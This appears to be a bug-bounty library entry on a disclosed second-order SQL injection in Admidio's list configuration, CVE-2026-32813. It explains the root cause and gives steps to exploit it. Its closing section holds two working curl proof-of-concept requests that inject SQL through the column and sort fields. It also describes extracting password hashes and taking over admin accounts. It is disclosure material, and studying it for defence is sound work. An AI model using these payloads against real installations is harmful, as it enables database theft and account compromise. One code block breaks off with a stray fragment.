# Admidio has a Second-Order SQL Injection via List Configuration (lsc_special_field, lsc_sort, lsc_filter)

Second-order SQL injection in Admidio's MyList config: stored column/sort/filter values are interpolated raw into SELECT/ORDER BY, letting any logged-in user dump the database.

- Payout: Research
- Severity: high
- Program: Admidio
- Found by: offset
- Disclosed: 2026-03-16
- CVE: CVE-2026-32813
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3x67-4c2c-w45m
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-3x67-4c2c-w45m
- Tags: area:web domain:web impact:data-leak impact:pii-leak impact:privesc kind:research platform:ghsa sev:high tech:php technique:second-order technique:source-review vuln:sqli

**Target:** MyList configuration (mylist_function.php / ListConfiguration::getSql)
**Root cause:** List column names, sort directions and filter conditions are stored safely via prepared statements but later read back and interpolated directly into dynamically built SQL; only a trivial `usr_`/`mem_` prefix check guards column names and sort/filter values are unvalidated.
**Steps:**
1. Authenticate as any user with list edit permission and obtain the session CSRF token.
2. POST to `mylist_function.php?mode=save_temporary` with `column[]=usr_login_name` and `column[]=usr_id FROM adm_users)--` (passes prefix check) plus a valid `sel_roles[]` UUID.
3. Alternatively inject via sort: `sort[]=ASC,(SELECT+CASE+WHEN+(1=1)+THEN+1+ELSE+1/0+END)` with no prefix check needed.
4. save_temporary redirects to `lists_show.php`, which calls `ListConfiguration::getSql()` and executes the injected SQL in the SELECT/ORDER BY clause.
**How found:** Code review of the write path (prepared statements in addColumn) versus the read path (getSql) revealed the safe-write/unsafe-read asymmetry; noted the only column validation is a `usr_`/`mem_` prefix check and that sort/filter values have no server-side validation despite the frontend select limiting to ASC/DESC.
**Exploitation:** Any authenticated user stores a malicious column/sort/filter value; on list view the stored payload is interpolated into the query, enabling UNION-based data exfiltration (password hashes, emails, config) and, with stacked queries under MySQL/PDO, data modification or deletion. Payload persists and fires for every viewer of the list.
**Escalation:** Extract password hashes or directly modify admin accounts to escalate to full database/application compromise.
**Insight:** When a feature stores user-chosen identifiers (column names, sort directions, filter expressions) and later rebuilds SQL from them, the write path being parameterized is a decoy — audit the read path's interpolation points, and check whether prefix-only checks can be satisfied while still breaking out (e.g. `usr_id FROM adm_users)--`).

## Proof of concept (copied exactly from the original report)

**curl POST injecting SQL via column[] special field**

```
curl -X POST "https://TARGET/adm_program/modules/groups-roles/mylist_function.php?mode=save_temporary" \
  -H "Cookie: ADMIDIO_SESSION_ID=<session>" \
  -d "adm_csrf_token=<csrf_token>" \
  -d "column[]=usr_login_name" \
  -d "column[]=usr_id FROM adm_users)--" \
  -d "sort[]=" \
  -d "sort[]=" \
  -d "condition[]=" \
  -d "condition[]=" \
  -d "sel_roles[]=<valid_role_uuid>"

The second column value
```

**curl POST injecting SQL via sort[] ORDER BY**

```
curl -X POST "https://TARGET/adm_program/modules/groups-roles/mylist_function.php?mode=save_temporary" \
  -H "Cookie: ADMIDIO_SESSION_ID=<session>" \
  -d "adm_csrf_token=<csrf_token>" \
  -d "column[]=usr_login_name" \
  -d "sort[]=ASC,(SELECT+CASE+WHEN+(1=1)+THEN+1+ELSE+1/0+END)" \
  -d "condition[]=" \
  -d "sel_roles[]=<valid_role_uuid>"

This injects into the ORDER BY clause.
```

